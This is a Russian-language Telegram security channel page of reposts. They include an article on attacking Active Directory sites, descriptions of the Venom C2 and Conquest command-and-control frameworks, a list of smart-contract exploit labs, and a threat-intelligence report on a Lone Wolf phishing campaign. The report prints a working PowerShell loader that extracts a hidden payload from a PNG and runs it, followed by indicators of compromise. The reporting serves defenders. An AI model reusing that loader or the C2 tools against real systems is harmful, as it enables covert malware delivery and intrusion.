Fsecurity | HH
Открыть в Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Больше2 074
Подписчики
+224 часа
+27 дней
+930 дней
Архив постов
2 074
Repost from Ralf Hacker Channel
Определенно стоит почитать
https://www.synacktiv.com/en/publications/site-unseen-enumerating-and-attacking-active-directory-sites
Sites did not receive much attention by the Active Directory offensive research community, comparatively to other ACL-based attack vectors. This article aims to demonstrate that not only do attack vectors targeting Active Directory sites exist, but that they can lead to impactful privilege escalation scenarios and to domain(s) compromise.#ad #pentest #redteam #bloodhound
2 074
Repost from 1N73LL1G3NC3
😈 Venom C2
A dependency‑free Python3 Command & Control framework for redteam persistence, built to run on systems without installing packages. It comprises a Flask team server, an Electron operator GUI, and a single‑file Python agent that communicates over HTTP/HTTPS using configurable AES‑encrypted JSON messages. Use it to execute commands, manage files, maintain access, and create SSH reverse tunnels from compromised systems.
2 074
Repost from HaHacking
☹️ #web3 #offense #заметки
➡️Что НЕ стоит делать: анти-паттерны разработки смарт-контрактов на Solidity, уязвимые лаборатории и эксплойты для изучения атак на конкретных примерах – всё это в репозиториях ниже:
🧩 kadenzipfel/smart-contract-vulnerabilities
➡️38 типов уязвимостей, но без контрактов☹️
🧩 SunWeb3Sec/DeFiVulnLabs
➡️От компании XREX;
➡️48 типов уязвимостей;
🧩 sigp/solidity-security-blog
➡️От компании Sigma Prime;
➡️18 типов уязвимостей с подробнейшим описанием;
➕Составляет часть книги Mastering Ethereum;
🧩 crytic/not-so-smart-contracts
➡️От компании Trail of Bits;
➡️11 типов уязвимостей;
➕Анализ honeypot'ов: ./honeypots;
➕Дальше переехали в crytic/building-secure-contracts;
⬜️➖⬜️➖⬜️➖
🧩 coinspect/learn-evm-attacks
➡️От компании Coinspect;
➡️40 эксплойтов из реальных кейсов‼️
Включают в себя случаи, затронувшие настоящие проекты в период с 2021 года по текущий; Разбиты по типу проэксплуатированных недостатков: ▪️Access Control [6] ▪️Bad Data Validation [4] ▪️Business Logic [17] ▪️Reentrancy [8] ▪️Bridges [5] Самые интересные кейсы: ▪️Tornado Cash Governance Takeover (2023) – тут про@HaHacking 🐇DELEGATECALLи governance; ▪️Furucombo (2021) – тут тоже проDELEGATECALL; ▪️MBC Token (2022) – тут про токеномику и sandwich атаки; ▪️Uranium (2021) – тут про AMM и формулуx*y=k.
2 074
Repost from ESCalator
+1
Одинокий волк тебе не товарищ 🐺
Группа киберразведки зафиксировала очередную фишинговую кампанию группировки Lone Wolf: злоумышленники используют стеганографию для скрытой доставки загрузчика вредоносного ПО.
Жертве отправляют архив (скриншот 1) с двумя файлами: размытым изображением «досудебное.png» (скриншот 2) и ярлыком «сверка.lnk». Открытие ярлыка приводит к запуску PowerShell с параметрами скрытого окна и обходом политики выполнения.
-WindowStyle Hidden -ExecutionPolicy Bypass -Command
"$data=[IO.File]::ReadAllBytes('досудебное.png');
$key=$data[144];
$file=$env:TEMP+'\yVLQbWaX.exe';
$i=[Text.Encoding]::ASCII.GetString($data).LastIndexOf('IDAT')+4;
$xdata = ($data[$i..$data.Length] | ForEach-Object { $_ -bxor $key }); [IO.File]::WriteAllBytes($file, $xdata);
Start-Process -FilePath $file -WindowStyle Hidden"
%TEMP%\yVLQbWaX.exe, после чего запускает его. Таким образом, изображение выступает контейнером для полезной нагрузки с параметрами скрытого окна и обходом политики выполнения. Примененная техника извлечения из сегмента IDAT концептуально повторяет подход, ранее замеченный в семействе загрузчиков IDAT Loader (HijackLoader), что указывает на переиспользование или заимствование решений из существующего вредоносного ПО.
Запущенный yVLQbWaX.exe обращается по адресу ezstat.ru/flowersforlove.gif. Указанный домен при обращении перенаправляет на контролируемый злоумышленниками ресурс valisi.ru, на котором фактически размещен вредоносный HTA-файл. Его выполняет системная утилита mshta.exe.
Внутри HTA-файла содержится код на VBScript, который вновь запускает PowerShell для распаковки Base64-строки как файла gzip в памяти и для дальнейшего запуска результата. Анализ показал, что итоговый шеллкод соответствует Beacon — полезной нагрузке Cobalt Strike. Финальный этап реализует «бесфайловое» выполнение в оперативной памяти через рефлективную загрузку.
🎭 Вся цепочка демонстрирует последовательную многоступенчатую маскировку:
• стеганография в PNG (T1027.003) + обфускация или кодирование (T1027, T1140);
• пользовательское выполнение LNK-файла (T1204.002) в рамках фишинга с вложением (T1566.001);
• загрузка удаленного компонента (HTA-файла) по сети (T1105);
• выполнение HTA-файла через прокси-сервер с помощью mshta.exe (T1218.005);
• использование скриптовых интерпретаторов (VBScript, PowerShell) в качестве средств развертывания (T1059.005, T1059.001);
• рефлективная загрузка и выполнение полезных нагрузок в памяти (T1620).
💡 Сетевая инфраструктура, с которой взаимодействует вредоносное ПО, не менялась с марта текущего года.
IoCs
Домены
valisi.ru ecols.ruIP-адреса
91.218.228.26 188.120.232.76Хеш-суммы
ec2924d70d86d24e911202b1523c1858 ae7996444c3d9dbc66c6768993a032c3ca39cc59 6b139dec14e03afdaa6ac51415a9d097eaddb9b7ebba5f77575404c5395ff778 bc957c0d268732c83c4b1a33a37a5854 7c5e95a312567541c9839b9aeefdb66f8b92ffe8 ae8c52e498f5c9a328cf9a2b18b5caf11b677108c4da6ac556a66ccb99faba17 38bcebee4a5c0a18a4794ad7c882e536 af2c5c5113389b16351577837087d2a5f618edca dcee83c2859df268528002c8b5cdfb2d7821985b36e5b5fab8eb9de4cbc812e1 aed3b15ef7c731cdc8e84c0de42adcdc bc3a04ccdd5e7de167d2f4d3e75239087075e03c 2d91100a95a2d26c8bcf42dea5aeddb3bfad84b1827bc1b7670a9eac8a0936b8Дополнительные индикаторы
gemme-cotti.ru seko-group.ru run-xin.ru mzmz.ru igran.ru dewatering.ru clwater.ru ivaco.su hydrochem.ru гидрохим.рф#TI #APT #Phishing @ptescalator
2 074
Repost from 1N73LL1G3NC3
Conquest
A feature-rich and malleable command & control/post-exploitation framework developed in Nim.
Blog: https://jakobfriedl.github.io/blog/nim-c2-traffic/
